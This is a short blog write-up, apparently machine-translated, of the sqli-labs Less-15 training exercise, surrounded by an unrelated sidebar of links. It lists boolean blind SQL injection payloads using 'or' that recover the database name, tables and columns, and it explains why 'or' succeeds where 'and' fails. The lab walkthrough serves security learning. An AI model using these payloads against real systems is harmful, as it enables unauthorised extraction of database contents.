当前位置:网站首页>About sqli lab less-15 using or instead of and parsing
About sqli lab less-15 using or instead of and parsing
2022-07-07 12:23:00 【hcjtn】
Follow the old train of thought , Try the means of reporting errors , It is found that no error statement is output , View source code , It is found that there is no output statement ( So consider using blind injection )
( With 15 For example )
Determine the database length :’or (length(database()))=8-- q
Judge the database name :'or (ascii(substr(database(),1,1)))=115-- q
The name of the judgment table :'or (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q
Determine the name of the column :'or (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q
We found that in the previous eight and nine levels, we used and; And by the 15 Turn off , We use or , Let's look at the following two levels of source code ( Take questions 9 and 15 as examples )
Now let's put these two statements together :
It's not hard to see. , If we were 15 Question use and Then it will become :
Obviously not , Because we don't know username Value . If you use or, Then the following values are established as a whole .
And in the 9 In question id=1 Is established, so it can be used and As a connection of statements .
边栏推荐
- Fleet tutorial 19 introduction to verticaldivider separator component Foundation (tutorial includes source code)
- Rationaldmis2022 array workpiece measurement
- Introduction and application of smoothstep in unity: optimization of dissolution effect
- Tutorial on principles and applications of database system (010) -- exercises of conceptual model and data model
- College entrance examination composition, high-frequency mention of science and Technology
- Typescript interface inheritance
- Tutorial on principles and applications of database system (007) -- related concepts of database
- <No. 8> 1816. 截断句子 (简单)
- 即刻报名|飞桨黑客马拉松第三期盛夏登场,等你挑战
- 百度数字人度晓晓在线回应网友喊话 应战上海高考英语作文
猜你喜欢
@Bean与@Component用在同一个类上,会怎么样?
Unity 贴图自动匹配材质工具 贴图自动添加到材质球工具 材质球匹配贴图工具 Substance Painter制作的贴图自动匹配材质球工具
@What happens if bean and @component are used on the same class?
Swiftui tutorial how to realize automatic scrolling function in 2 seconds
【滤波跟踪】捷联惯导纯惯导解算matlab实现
Epp+dis learning road (2) -- blink! twinkle!
wallys/Qualcomm IPQ8072A networking SBC supports dual 10GbE, WiFi 6
[texture feature extraction] LBP image texture feature extraction based on MATLAB local binary mode [including Matlab source code 1931]
<No. 8> 1816. Truncate sentences (simple)
MATLAB實現Huffman編碼譯碼含GUI界面
随机推荐
Mastering the new functions of swiftui 4 weatherkit and swift charts
2022 年第八届“认证杯”中国高校风险管理与控制能力挑战赛
Epp+dis learning road (2) -- blink! twinkle!
111. Network security penetration test - [privilege escalation 9] - [windows 2008 R2 kernel overflow privilege escalation]
[extraction des caractéristiques de texture] extraction des caractéristiques de texture de l'image LBP basée sur le mode binaire local de Matlab [y compris le code source de Matlab 1931]
Up meta - Web3.0 world innovative meta universe financial agreement
Visual Studio 2019 (LocalDB)\MSSQLLocalDB SQL Server 2014 数据库版本为852无法打开,此服务器支持782版及更低版本
powershell cs-UTF-16LE编码上线
110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
Basic introduction to the 16 tabs tab control in the fleet tutorial (the tutorial includes source code)
zero-shot, one-shot和few-shot
Epp+dis learning path (1) -- Hello world!
Improve application security through nonce field of play integrity API
5V串口接3.3V单片机串口怎么搞?
Completion report of communication software development and Application
【玩转 RT-Thread】 RT-Thread Studio —— 按键控制电机正反转、蜂鸣器
Apache installation problem: configure: error: APR not found Please read the documentation
<No. 8> 1816. Truncate sentences (simple)
UP Meta—Web3.0世界创新型元宇宙金融协议
Sign up now | oar hacker marathon phase III midsummer debut, waiting for you to challenge